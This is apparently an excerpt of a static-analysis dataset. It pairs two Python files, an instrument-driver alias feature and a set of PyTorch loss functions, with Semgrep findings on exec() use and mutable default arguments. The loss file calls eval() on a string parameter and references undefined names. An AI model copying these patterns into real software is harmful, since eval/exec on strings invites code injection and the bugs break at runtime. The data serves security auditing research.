added stringdate 2024-11-18 17:59:49 2024-11-19 03:44:43 | created int64 126B 1,694B | id stringlengths 40 40 | int_score int64 2 5 | metadata dict | score float64 2.31 5.09 | source stringclasses 1
value | text stringlengths 257 22.3k | num_lines int64 16 648 | avg_line_length float64 15 61 | max_line_length int64 31 179 | ast_depth int64 8 40 | length int64 101 3.8k | lang stringclasses 1
value | sast_semgrep_findings stringlengths 1.56k 349k | sast_semgrep_findings_count int64 1 162 | sast_semgrep_success bool 1
class | sast_semgrep_error stringclasses 1
value | cwe_ids listlengths 1 162 | rule_ids listlengths 1 162 | subcategories listlengths 1 162 | confidences listlengths 1 162 | severities listlengths 1 162 | line_starts listlengths 1 162 | line_ends listlengths 1 162 | column_starts listlengths 1 162 | column_ends listlengths 1 162 | owasp_categories listlengths 1 162 | messages listlengths 1 162 | cvss_scores listlengths 1 162 | likelihoods listlengths 1 162 | impacts listlengths 1 162 | filename stringlengths 4 105 | path stringlengths 5 372 | repo_name stringlengths 5 115 | license stringclasses 385
values |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
2024-11-18T18:05:43.388874+00:00 | 1,567,036,262,000 | 912041d1cee909d29a9b46991268ac30470556ff | 3 | {
"blob_id": "912041d1cee909d29a9b46991268ac30470556ff",
"branch_name": "refs/heads/master",
"committer_date": 1567036262000,
"content_id": "c6d2536833fc35c3e025cd9d5cea56298f7fe360",
"detected_licenses": [
"BSD-3-Clause"
],
"directory_id": "ca5fc43049f94a794d90a561fd8126f02b603599",
"extension": "py",
"filename": "alias.py",
"fork_events_count": 0,
"gha_created_at": 1469110078000,
"gha_event_created_at": 1527068726000,
"gha_language": "Python",
"gha_license_id": "BSD-3-Clause",
"github_id": 63874745,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2632,
"license": "BSD-3-Clause",
"license_type": "permissive",
"path": "/i3py/core/features/alias.py",
"provenance": "stack-edu-0054.json.gz:568753",
"repo_name": "Exopy/i3py",
"revision_date": 1567036262000,
"revision_id": "6f004d3e2ee2b788fb4693606cc4092147655ce1",
"snapshot_id": "32d9ee343d21d275680a2d030b660a80960e99ac",
"src_encoding": "UTF-8",
"star_events_count": 1,
"url": "https://raw.githubusercontent.com/Exopy/i3py/6f004d3e2ee2b788fb4693606cc4092147655ce1/i3py/core/features/alias.py",
"visit_date": "2022-02-18T21:51:16.423188"
} | 2.5625 | stackv2 | # -*- coding: utf-8 -*-
# -----------------------------------------------------------------------------
# Copyright 2016-2017 by I3py Authors, see AUTHORS for more details.
#
# Distributed under the terms of the BSD license.
#
# The full license is in the file LICENCE, distributed with this software.
# -----------------------------------------------------------------------------
"""Feature whose value is mapped to another Feature.
"""
from types import MethodType
from typing import Any, Dict, Callable
from ..abstracts import AbstractHasFeatures
from .feature import Feature, get_chain, set_chain
GET_DEF =\
"""def get(self, driver):
return {}
"""
SET_DEF =\
"""def set(self, driver, value):
{} = value
"""
class Alias(Feature):
"""Feature whose value is mapped to another Feature.
Parameters
----------
alias : str
Path to the feature to which the alias refers to. The path should be
dot separated and use leading dots to access to parent features.
settable: bool, optional
Boolean indicating if the alias can be used to set the value of the
aliased feature.
"""
def __init__(self, alias: str, settable: bool=False) -> None:
super(Alias, self).__init__(True, settable if settable else None)
accessor = 'driver.' + '.'.join([p if p else 'parent'
for p in alias.split('.')])
defs = GET_DEF.format(accessor)
if settable:
defs += '\n' + SET_DEF.format(accessor)
loc: Dict[str, Callable] = {}
exec(defs, globals(), loc)
self.get = MethodType(loc['get'], self) # type: ignore
if settable:
self.set = MethodType(loc['set'], self) # type: ignore
def post_set(self, driver: AbstractHasFeatures, value: Any, i_value: Any,
response: Any):
"""Re-implemented here as an Alias does not need to do anything
by default.
"""
pass
# =========================================================================
# --- Private API ---------------------------------------------------------
# =========================================================================
def _get(self, driver: AbstractHasFeatures):
"""Re-implemented so that Alias never use the cache.
"""
with driver.lock:
return get_chain(self, driver)
def _set(self, driver: AbstractHasFeatures, value: Any):
"""Re-implemented so that Alias never uses the cache.
"""
with driver.lock:
set_chain(self, driver, value)
| 90 | 28.24 | 79 | 16 | 535 | python | [{"finding_id": "semgrep_rules.python.lang.security.audit.exec-detected_715a30efc2342539_ee5be2eb", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.exec-detected", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected the use of exec(). exec() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "remediation": "", "location": {"file_path": "unknown", "line_start": 60, "line_end": 60, "column_start": 9, "column_end": 35, "code_snippet": "requires login"}, "cwe_id": "CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2021 - Injection", "references": [{"url": "https://owasp.org/Top10/A03_2021-Injection", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.exec-detected", "path": "/tmp/tmpb8jm_z1l/715a30efc2342539.py", "start": {"line": 60, "col": 9, "offset": 1581}, "end": {"line": 60, "col": 35, "offset": 1607}, "extra": {"message": "Detected the use of exec(). exec() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b102_exec_used.html", "cwe": ["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')"], "owasp": ["A03:2021 - Injection", "A05:2025 - Injection"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "references": ["https://owasp.org/Top10/A03_2021-Injection"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 1 | true | [
"CWE-95"
] | [
"rules.python.lang.security.audit.exec-detected"
] | [
"security"
] | [
"LOW"
] | [
"MEDIUM"
] | [
60
] | [
60
] | [
9
] | [
35
] | [
"A03:2021 - Injection"
] | [
"Detected the use of exec(). exec() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources."
] | [
5
] | [
"LOW"
] | [
"HIGH"
] | alias.py | /i3py/core/features/alias.py | Exopy/i3py | BSD-3-Clause | |
2024-11-18T18:05:44.308384+00:00 | 1,578,981,575,000 | 8d0411d1a3851550c8d731400213ff48f1c3b0c7 | 2 | {
"blob_id": "8d0411d1a3851550c8d731400213ff48f1c3b0c7",
"branch_name": "refs/heads/master",
"committer_date": 1578981575000,
"content_id": "e86b6be15675ecfb59b4c74485893d83221a5f43",
"detected_licenses": [
"MIT"
],
"directory_id": "8142e588999503979e1cd9d1989cdd43dc9417d6",
"extension": "py",
"filename": "losses.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": null,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 11390,
"license": "MIT",
"license_type": "permissive",
"path": "/evkit/utils/losses.py",
"provenance": "stack-edu-0054.json.gz:568764",
"repo_name": "lilujunai/side-tuning",
"revision_date": 1578981575000,
"revision_id": "dea345691fb7ee0230150fe56ddd644efdffa6ac",
"snapshot_id": "07a0e2015fcb7f3699f749fb233b95ceba449277",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/lilujunai/side-tuning/dea345691fb7ee0230150fe56ddd644efdffa6ac/evkit/utils/losses.py",
"visit_date": "2021-02-26T23:52:13.468928"
} | 2.390625 | stackv2 | from evkit.models.taskonomy_network import TaskonomyDecoder
from tlkit.utils import SINGLE_IMAGE_TASKS, TASKS_TO_CHANNELS, FEED_FORWARD_TASKS
import torch
import torch.nn.functional as F
def softmax_cross_entropy(inputs, target, weight=None, cache={}, size_average=None, ignore_index=-100,
reduce=None, reduction='mean'):
cache['predictions'] = inputs
cache['labels'] = target
if len(target.shape) == 2: # unsqueeze one-hot representation
target = torch.argmax(target, dim=1)
loss = F.cross_entropy(inputs, target, weight)
# when working with 2D data, cannot use spatial weight mask, it becomes categorical/class
return {'total': loss, 'xentropy': loss}
def heteroscedastic_normal(mean_and_scales, target, weight=None, cache={}, eps=1e-2):
mu, scales = mean_and_scales
loss = (mu - target)**2 / (scales**2 + eps) + torch.log(scales**2 + eps)
# return torch.sum(weight * loss) / torch.sum(weight) if weight is not None else loss.mean()
loss = torch.mean(weight * loss) / weight.mean() if weight is not None else loss.mean()
return {'total': loss, 'nll': loss}
def heteroscedastic_double_exponential(mean_and_scales, target, weight=None, cache={}, eps=5e-2):
mu, scales = mean_and_scales
loss = torch.abs(mu - target) / (scales + eps) + torch.log(2.0 * (scales + eps))
loss = torch.mean(weight * loss) / weight.mean() if weight is not None else loss.mean()
return {'total': loss, 'nll': loss}
def weighted_mse_loss(inputs, target, weight=None, cache={}):
losses = {}
cache['predictions'] = inputs
cache['labels'] = target
if weight is not None:
# sq = (inputs - target) ** 2
# weightsq = torch.sum(weight * sq)
loss = torch.mean(weight * (inputs - target) ** 2)/torch.mean(weight)
else:
loss = F.mse_loss(inputs, target)
return {'total': loss, 'mse': loss}
weighted_l2_loss = weighted_mse_loss
def weighted_l1_loss(inputs, target, weight=None, cache={}):
target = target.float()
if weight is not None:
loss = torch.mean(weight * torch.abs(inputs - target))/torch.mean(weight)
else:
loss = F.l1_loss(inputs, target)
return {'total': loss, 'l1': loss}
def perceptual_l1_loss(decoder_path, bake_decodings):
task = [t for t in SINGLE_IMAGE_TASKS if t in decoder_path][0]
decoder = TaskonomyDecoder(TASKS_TO_CHANNELS[task], feed_forward=task in FEED_FORWARD_TASKS)
checkpoint = torch.load(decoder_path)
decoder.load_state_dict(checkpoint['state_dict'])
decoder.cuda()
decoder.eval()
print(f'Loaded decoder from {decoder_path} for perceptual loss')
def runner(inputs, target, weight=None, cache={}):
# the last arguments are so we can 'cache' and pass the decodings outside
inputs_decoded = decoder(inputs)
targets_decoded = target if bake_decodings else decoder(target)
cache['predictions'] = inputs_decoded
cache['labels'] = targets_decoded
if weight is not None:
loss = torch.mean(weight * torch.abs(inputs_decoded - targets_decoded))/torch.mean(weight)
else:
loss = F.l1_loss(inputs_decoded, targets_decoded)
return {'total': loss, 'perceptual_l1': loss}
return runner
def perceptual_l2_loss(decoder_path, bake_decodings):
task = [t for t in SINGLE_IMAGE_TASKS if t in decoder_path][0]
decoder = TaskonomyDecoder(TASKS_TO_CHANNELS[task], feed_forward=task in FEED_FORWARD_TASKS)
checkpoint = torch.load(decoder_path)
decoder.load_state_dict(checkpoint['state_dict'])
decoder.cuda()
decoder.eval()
print(f'Loaded decoder from {decoder_path} for perceptual loss')
def runner(inputs, target, weight=None, cache={}):
# the last arguments are so we can 'cache' and pass the decodings outside
inputs_decoded = decoder(inputs)
targets_decoded = target if bake_decodings else decoder(target)
cache['predictions'] = inputs_decoded
cache['labels'] = targets_decoded
if weight is not None:
loss = torch.mean(weight * (inputs_decoded - targets_decoded) ** 2)/torch.mean(weight)
else:
loss = F.mse_loss(inputs_decoded, targets_decoded)
return {'total': loss, 'perceptual_mse': loss}
return runner
def dense_softmax_cross_entropy_loss(inputs, targets, cache={}): # these should be logits (batch_size, n_class)
batch_size, _ = targets.shape
losses = {}
losses['final'] = -1. * torch.sum(torch.softmax(targets.float(), dim=1) * F.log_softmax(inputs.float(), dim=1)) / batch_size
losses['standard'] = losses['final']
return losses
def dense_cross_entropy_loss_(inputs, targets): # these should be logits (batch_size, n_class)
batch_size, _ = targets.shape
return -1. * torch.sum(targets * F.log_softmax(inputs, dim=1)) / batch_size
# def dense_softmax_cross_entropy(inputs, targets, weight=None, cache={}):
# assert weight == None
# cache['predictions'] = inputs
# cache['labels'] = targets
# # print(targets.shape)
# batch_size, _ = targets.shape
# loss = -1. * torch.sum(torch.softmax(targets, dim=1) * F.log_softmax(inputs, dim=1)) / batch_size
# loss = F.mse_loss(inputs, targets.detach())
# return {'total': loss, 'xentropy': loss}
def dense_softmax_cross_entropy(inputs, targets, weight=None, cache={}):
assert weight is None
cache['predictions'] = inputs
cache['labels'] = targets
batch_size, _ = targets.shape
loss = -1. * torch.sum(torch.softmax(targets.detach(), dim=1) * F.log_softmax(inputs, dim=1)) / batch_size
# loss = F.mse_loss(inputs, targets.detach())
return {'total': loss, 'xentropy': loss}
def dense_cross_entropy(inputs, targets, weight=None, cache={}):
assert weight == None
cache['predictions'] = inputs
cache['labels'] = targets
batch_size, _ = targets.shape
loss = -1. * torch.sum(targets.detach() * F.log_softmax(inputs, dim=1)) / batch_size
# loss = F.mse_loss(inputs, targets.detach())
return {'total': loss, 'xentropy': loss}
def perceptual_cross_entropy_loss(decoder_path, bake_decodings):
task = [t for t in SINGLE_IMAGE_TASKS if t in decoder_path][0]
decoder = TaskonomyDecoder(TASKS_TO_CHANNELS[task], feed_forward=task in FEED_FORWARD_TASKS)
checkpoint = torch.load(decoder_path)
decoder.load_state_dict(checkpoint['state_dict'])
decoder.cuda()
decoder.eval()
print(f'Loaded decoder from {decoder_path} for perceptual loss')
def runner(inputs, target, weight=None, cache={}):
# the last arguments are so we can 'cache' and pass the decodings outside
inputs_decoded = decoder(inputs)
targets_decoded = target if bake_decodings else decoder(target)
cache['predictions'] = inputs_decoded
cache['labels'] = targets_decoded
return dense_softmax_cross_entropy_loss_(inputs_decoded, targets_decoded)
return runner
def identity_regularizer(loss_fn, model):
def runner(inputs, target, weight=None, cache={}):
losses = loss_fn(inputs, target, weight, cache)
return losses
return runner
def transfer_regularizer(loss_fn, model, reg_loss_fn='F.l1_loss', coef=1e-3):
def runner(inputs, target, weight=None, cache={}):
orig_losses = loss_fn(inputs, target, weight, cache)
#if isinstance(model, PolicyWithBase):
if type(model).__name__ == "PolicyWithBase":
# Imitation Learning - retreive encodings via the cache
assert 'base_encoding' in cache and 'transfered_encoding' in cache, f'cache is missing keys {cache.keys()}'
regularization_loss = 0
for base_encoding, transfered_encoding in zip(cache['base_encoding'], cache['transfered_encoding']):
regularization_loss += eval(reg_loss_fn)(model.base.perception_unit.sidetuner.net.transfer_network(base_encoding), transfered_encoding)
else:
# Vision Transfers - retreive encodings directly from model attributes
# (cannot do this for IL due to the FrameStacked being iterative)
assert isinstance(model.side_output, torch.Tensor), 'Cannot regularize side network if it is not used'
regularization_loss = eval(reg_loss_fn)(model.transfer_network(model.base_encoding), model.transfered_encoding)
orig_losses.update({
'total': orig_losses['total'] + coef * regularization_loss,
'weight_tying': regularization_loss,
})
return orig_losses
return runner
def perceptual_regularizer(loss_fn, model, coef=1e-3, decoder_path=None, use_transfer=True, reg_loss_fn='F.mse_loss'):
# compares model.base_encoding E(x) and model.transfered_encoding T(E(x) + S(x))
# use_transfer means we will compare exactly above
# use_transfer=False means we will compare model.base_encoding E(x) and model.merged_encoding E(x) + S(x)
# Recall, decoder requires unnormalized inputs!
assert decoder_path is not None, 'Pass in a decoder to which to transform our parameters and regularize on'
task = [t for t in SINGLE_IMAGE_TASKS if t in decoder_path][0]
decoder = TaskonomyDecoder(TASKS_TO_CHANNELS[task], feed_forward=task in FEED_FORWARD_TASKS)
checkpoint = torch.load(decoder_path)
decoder.load_state_dict(checkpoint['state_dict'])
decoder.cuda()
decoder.eval()
if task in FEED_FORWARD_TASKS:
reg_loss_fn = "dense_softmax_cross_entropy_loss_"
else:
reg_loss_fn = "F.l1_loss"
print(f'Loaded decoder from {decoder_path} for perceptual loss')
def runner(inputs, target, weight=None, cache={}):
orig_losses = loss_fn(inputs, target, weight, cache)
if type(model).__name__ == "PolicyWithBase":
# Imitation Learning - retreive encodings via the cache
assert 'base_encoding' in cache, f'cache is missing base {cache.keys()}'
if use_transfer:
assert 'transfered_encoding' in cache, f'cache is missing tied {cache.keys()}'
tied_encodings = cache['transfered_encoding']
else:
assert 'merged_encoding' in cache, f'cache is missing tied{cache.keys()}'
tied_encodings = cache['merged_encoding']
regularization_loss = 0
for base_encoding, tied_encoding in zip(cache['base_encoding'], tied_encodings):
regularization_loss += eval(reg_loss_fn)(decoder(base_encoding), decoder(tied_encoding))
else:
# Vision Transfers - retreive encodings directly from model attributes
# (cannot do this for IL due to the FrameStacked being iterative)
assert isinstance(model.side_output, torch.Tensor), 'Cannot regularize side network if it is not used'
if use_transfer:
tied_encoding = model.transfered_encoding
else:
tied_encoding = model.merged_encoding
losses['weight_tying'] = eval(reg_loss_fn)(decoder(model.base_encoding), decoder(tied_encoding))
regularization_loss = reg_loss_fn(decoder(model.base_encoding), decoder(tied_encoding))
orig_losses.update({
'total': orig_losses['total'] + coef * regularization_loss,
'weight_tying': regularization_loss,
})
return orig_losses
return runner
| 235 | 47.47 | 151 | 20 | 2,680 | python | [{"finding_id": "semgrep_rules.python.lang.correctness.common-mistakes.default-mutable-dict_4f869c82d83d165c_241b7cca", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.common-mistakes.default-mutable-dict", "finding_type": "correctness", "severity": "high", "confidence": "medium", "message": "Function softmax_cross_entropy mutates default dict cache. Python only instantiates default function arguments once and shares the instance across the function calls. If the default function argument is mutated, that will modify the instance used by all future function calls. This can cause unexpected results, or lead to security vulnerabilities whereby one function consumer can view or modify the data of another function consumer. Instead, use a default argument (like None) to indicate that no argument was provided and instantiate a new dictionary at that time. For example: `if cache is None: cache = {}`.", "remediation": "", "location": {"file_path": "unknown", "line_start": 8, "line_end": 8, "column_start": 5, "column_end": 34, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://docs.python-guide.org/writing/gotchas/#mutable-default-arguments", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.common-mistakes.default-mutable-dict", "path": "/tmp/tmpb8jm_z1l/4f869c82d83d165c.py", "start": {"line": 8, "col": 5, "offset": 345}, "end": {"line": 8, "col": 34, "offset": 374}, "extra": {"message": "Function softmax_cross_entropy mutates default dict cache. Python only instantiates default function arguments once and shares the instance across the function calls. If the default function argument is mutated, that will modify the instance used by all future function calls. This can cause unexpected results, or lead to security vulnerabilities whereby one function consumer can view or modify the data of another function consumer. Instead, use a default argument (like None) to indicate that no argument was provided and instantiate a new dictionary at that time. For example: `if cache is None: cache = {}`.", "metadata": {"category": "correctness", "technology": ["python"], "references": ["https://docs.python-guide.org/writing/gotchas/#mutable-default-arguments"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.correctness.common-mistakes.default-mutable-dict_4f869c82d83d165c_6770f5a1", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.common-mistakes.default-mutable-dict", "finding_type": "correctness", "severity": "high", "confidence": "medium", "message": "Function softmax_cross_entropy mutates default dict cache. Python only instantiates default function arguments once and shares the instance across the function calls. If the default function argument is mutated, that will modify the instance used by all future function calls. This can cause unexpected results, or lead to security vulnerabilities whereby one function consumer can view or modify the data of another function consumer. Instead, use a default argument (like None) to indicate that no argument was provided and instantiate a new dictionary at that time. For example: `if cache is None: cache = {}`.", "remediation": "", "location": {"file_path": "unknown", "line_start": 9, "line_end": 9, "column_start": 5, "column_end": 29, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://docs.python-guide.org/writing/gotchas/#mutable-default-arguments", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.common-mistakes.default-mutable-dict", "path": "/tmp/tmpb8jm_z1l/4f869c82d83d165c.py", "start": {"line": 9, "col": 5, "offset": 379}, "end": {"line": 9, "col": 29, "offset": 403}, "extra": {"message": "Function softmax_cross_entropy mutates default dict cache. Python only instantiates default function arguments once and shares the instance across the function calls. If the default function argument is mutated, that will modify the instance used by all future function calls. This can cause unexpected results, or lead to security vulnerabilities whereby one function consumer can view or modify the data of another function consumer. Instead, use a default argument (like None) to indicate that no argument was provided and instantiate a new dictionary at that time. For example: `if cache is None: cache = {}`.", "metadata": {"category": "correctness", "technology": ["python"], "references": ["https://docs.python-guide.org/writing/gotchas/#mutable-default-arguments"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.correctness.common-mistakes.default-mutable-dict_4f869c82d83d165c_a749fb1e", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.common-mistakes.default-mutable-dict", "finding_type": "correctness", "severity": "high", "confidence": "medium", "message": "Function weighted_mse_loss mutates default dict cache. Python only instantiates default function arguments once and shares the instance across the function calls. If the default function argument is mutated, that will modify the instance used by all future function calls. This can cause unexpected results, or lead to security vulnerabilities whereby one function consumer can view or modify the data of another function consumer. Instead, use a default argument (like None) to indicate that no argument was provided and instantiate a new dictionary at that time. For example: `if cache is None: cache = {}`.", "remediation": "", "location": {"file_path": "unknown", "line_start": 31, "line_end": 31, "column_start": 5, "column_end": 34, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://docs.python-guide.org/writing/gotchas/#mutable-default-arguments", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.common-mistakes.default-mutable-dict", "path": "/tmp/tmpb8jm_z1l/4f869c82d83d165c.py", "start": {"line": 31, "col": 5, "offset": 1565}, "end": {"line": 31, "col": 34, "offset": 1594}, "extra": {"message": "Function weighted_mse_loss mutates default dict cache. Python only instantiates default function arguments once and shares the instance across the function calls. If the default function argument is mutated, that will modify the instance used by all future function calls. This can cause unexpected results, or lead to security vulnerabilities whereby one function consumer can view or modify the data of another function consumer. Instead, use a default argument (like None) to indicate that no argument was provided and instantiate a new dictionary at that time. For example: `if cache is None: cache = {}`.", "metadata": {"category": "correctness", "technology": ["python"], "references": ["https://docs.python-guide.org/writing/gotchas/#mutable-default-arguments"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.correctness.common-mistakes.default-mutable-dict_4f869c82d83d165c_c082ff16", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.common-mistakes.default-mutable-dict", "finding_type": "correctness", "severity": "high", "confidence": "medium", "message": "Function weighted_mse_loss mutates default dict cache. Python only instantiates default function arguments once and shares the instance across the function calls. If the default function argument is mutated, that will modify the instance used by all future function calls. This can cause unexpected results, or lead to security vulnerabilities whereby one function consumer can view or modify the data of another function consumer. Instead, use a default argument (like None) to indicate that no argument was provided and instantiate a new dictionary at that time. For example: `if cache is None: cache = {}`.", "remediation": "", "location": {"file_path": "unknown", "line_start": 32, "line_end": 32, "column_start": 5, "column_end": 29, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://docs.python-guide.org/writing/gotchas/#mutable-default-arguments", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.common-mistakes.default-mutable-dict", "path": "/tmp/tmpb8jm_z1l/4f869c82d83d165c.py", "start": {"line": 32, "col": 5, "offset": 1599}, "end": {"line": 32, "col": 29, "offset": 1623}, "extra": {"message": "Function weighted_mse_loss mutates default dict cache. Python only instantiates default function arguments once and shares the instance across the function calls. If the default function argument is mutated, that will modify the instance used by all future function calls. This can cause unexpected results, or lead to security vulnerabilities whereby one function consumer can view or modify the data of another function consumer. Instead, use a default argument (like None) to indicate that no argument was provided and instantiate a new dictionary at that time. For example: `if cache is None: cache = {}`.", "metadata": {"category": "correctness", "technology": ["python"], "references": ["https://docs.python-guide.org/writing/gotchas/#mutable-default-arguments"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.correctness.common-mistakes.default-mutable-dict_4f869c82d83d165c_f5889148", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.common-mistakes.default-mutable-dict", "finding_type": "correctness", "severity": "high", "confidence": "medium", "message": "Function dense_softmax_cross_entropy mutates default dict cache. Python only instantiates default function arguments once and shares the instance across the function calls. If the default function argument is mutated, that will modify the instance used by all future function calls. This can cause unexpected results, or lead to security vulnerabilities whereby one function consumer can view or modify the data of another function consumer. Instead, use a default argument (like None) to indicate that no argument was provided and instantiate a new dictionary at that time. For example: `if cache is None: cache = {}`.", "remediation": "", "location": {"file_path": "unknown", "line_start": 118, "line_end": 118, "column_start": 5, "column_end": 34, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://docs.python-guide.org/writing/gotchas/#mutable-default-arguments", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.common-mistakes.default-mutable-dict", "path": "/tmp/tmpb8jm_z1l/4f869c82d83d165c.py", "start": {"line": 118, "col": 5, "offset": 5423}, "end": {"line": 118, "col": 34, "offset": 5452}, "extra": {"message": "Function dense_softmax_cross_entropy mutates default dict cache. Python only instantiates default function arguments once and shares the instance across the function calls. If the default function argument is mutated, that will modify the instance used by all future function calls. This can cause unexpected results, or lead to security vulnerabilities whereby one function consumer can view or modify the data of another function consumer. Instead, use a default argument (like None) to indicate that no argument was provided and instantiate a new dictionary at that time. For example: `if cache is None: cache = {}`.", "metadata": {"category": "correctness", "technology": ["python"], "references": ["https://docs.python-guide.org/writing/gotchas/#mutable-default-arguments"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.correctness.common-mistakes.default-mutable-dict_4f869c82d83d165c_61add4d3", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.common-mistakes.default-mutable-dict", "finding_type": "correctness", "severity": "high", "confidence": "medium", "message": "Function dense_softmax_cross_entropy mutates default dict cache. Python only instantiates default function arguments once and shares the instance across the function calls. If the default function argument is mutated, that will modify the instance used by all future function calls. This can cause unexpected results, or lead to security vulnerabilities whereby one function consumer can view or modify the data of another function consumer. Instead, use a default argument (like None) to indicate that no argument was provided and instantiate a new dictionary at that time. For example: `if cache is None: cache = {}`.", "remediation": "", "location": {"file_path": "unknown", "line_start": 119, "line_end": 119, "column_start": 5, "column_end": 30, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://docs.python-guide.org/writing/gotchas/#mutable-default-arguments", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.common-mistakes.default-mutable-dict", "path": "/tmp/tmpb8jm_z1l/4f869c82d83d165c.py", "start": {"line": 119, "col": 5, "offset": 5457}, "end": {"line": 119, "col": 30, "offset": 5482}, "extra": {"message": "Function dense_softmax_cross_entropy mutates default dict cache. Python only instantiates default function arguments once and shares the instance across the function calls. If the default function argument is mutated, that will modify the instance used by all future function calls. This can cause unexpected results, or lead to security vulnerabilities whereby one function consumer can view or modify the data of another function consumer. Instead, use a default argument (like None) to indicate that no argument was provided and instantiate a new dictionary at that time. For example: `if cache is None: cache = {}`.", "metadata": {"category": "correctness", "technology": ["python"], "references": ["https://docs.python-guide.org/writing/gotchas/#mutable-default-arguments"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.correctness.common-mistakes.default-mutable-dict_4f869c82d83d165c_00faca8a", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.common-mistakes.default-mutable-dict", "finding_type": "correctness", "severity": "high", "confidence": "medium", "message": "Function dense_cross_entropy mutates default dict cache. Python only instantiates default function arguments once and shares the instance across the function calls. If the default function argument is mutated, that will modify the instance used by all future function calls. This can cause unexpected results, or lead to security vulnerabilities whereby one function consumer can view or modify the data of another function consumer. Instead, use a default argument (like None) to indicate that no argument was provided and instantiate a new dictionary at that time. For example: `if cache is None: cache = {}`.", "remediation": "", "location": {"file_path": "unknown", "line_start": 128, "line_end": 128, "column_start": 5, "column_end": 34, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://docs.python-guide.org/writing/gotchas/#mutable-default-arguments", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.common-mistakes.default-mutable-dict", "path": "/tmp/tmpb8jm_z1l/4f869c82d83d165c.py", "start": {"line": 128, "col": 5, "offset": 5822}, "end": {"line": 128, "col": 34, "offset": 5851}, "extra": {"message": "Function dense_cross_entropy mutates default dict cache. Python only instantiates default function arguments once and shares the instance across the function calls. If the default function argument is mutated, that will modify the instance used by all future function calls. This can cause unexpected results, or lead to security vulnerabilities whereby one function consumer can view or modify the data of another function consumer. Instead, use a default argument (like None) to indicate that no argument was provided and instantiate a new dictionary at that time. For example: `if cache is None: 